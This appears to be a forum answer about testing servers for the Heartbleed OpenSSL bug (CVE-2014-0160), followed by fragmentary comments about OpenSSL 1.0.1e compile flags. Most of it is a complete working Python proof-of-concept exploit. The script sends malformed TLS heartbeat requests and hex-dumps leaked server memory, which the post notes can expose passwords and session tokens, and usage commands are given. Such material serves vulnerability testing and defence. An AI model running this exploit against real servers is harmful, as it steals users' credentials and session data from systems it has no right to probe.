First off, Heartbleed has been demonstrated to be able to scan a processes memory (64kB at a time), so is very serious. Even without that, the data that can be seen will easily expose things such passwords, session tokens, and a number of other things (particularly for the PHP applications I've been looking at).
Bear in mind that Hearbleed affects TLS 1.1 and 1.2, and so if you're testing you need to specify that. (I can't be sure if restricting SSL version is a useful mitigation; best to patch and replace)
Unknown message, in this case, very likely means that you asked for an option that was not appropriate (or supported) on the peer. You might get this if you don't specify TLS 1.2.
I used a little Python tool created by Jared Stafford. Its instructive to run this using watch
to see what you can see. Its not listed on his website, so I've included it below. You'll want to run it using something like ./heartbleed --port 443 --ver 2 SERVER_IP
I found it more useful to run is as follows:
./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'
or:
./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'
I don't have any unpatched servers to demonstrate this with, but if vulnerable, you'll get a hex/ASCII dump of the material found, which may be interesting to look at. You'll also get a server is vulnerable
message.
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
#s.send()
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
if opts.smtpstarttls:
print 'Sending STARTTLS...'
sys.stdout.flush()
s.send("STARTTLS\n")
print 'Waiting for reply...'
sys.stdout.flush()
recvall(s, 100000, 1)
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
if (opts.ver == 1):
s.send(hbv10)
hit_hb(s)
if (opts.ver == 2):
s.send(hbv11)
hit_hb(s)
if (opts.ver == 3):
s.send(hbv12)
hit_hb(s)
if __name__ == '__main__':
main()
openssl version -a
,DOPENSSL_NO_HEARTBEATS
did not show in my terminal, so I would assume it's enough to rule out thatOpenSSL
was compiled withoutHeartbeat
extension. Basically, this version (1.0.1e
) should definitely be vulnerable, right?DOPENSSL_NO_HEARTBEATS
doesn't appear as compile flag I guess that means OpenSSL was compiled with theHeartbeat
extension. 1.0.1e and all the others versions starting with 1.0.1 are vulnerable only if they are compiled with Heartbeat support .OpenSSL 1.0.1e
. I need some kind of working proof that software version using1.0.1e
is vulnerable and one after that is not...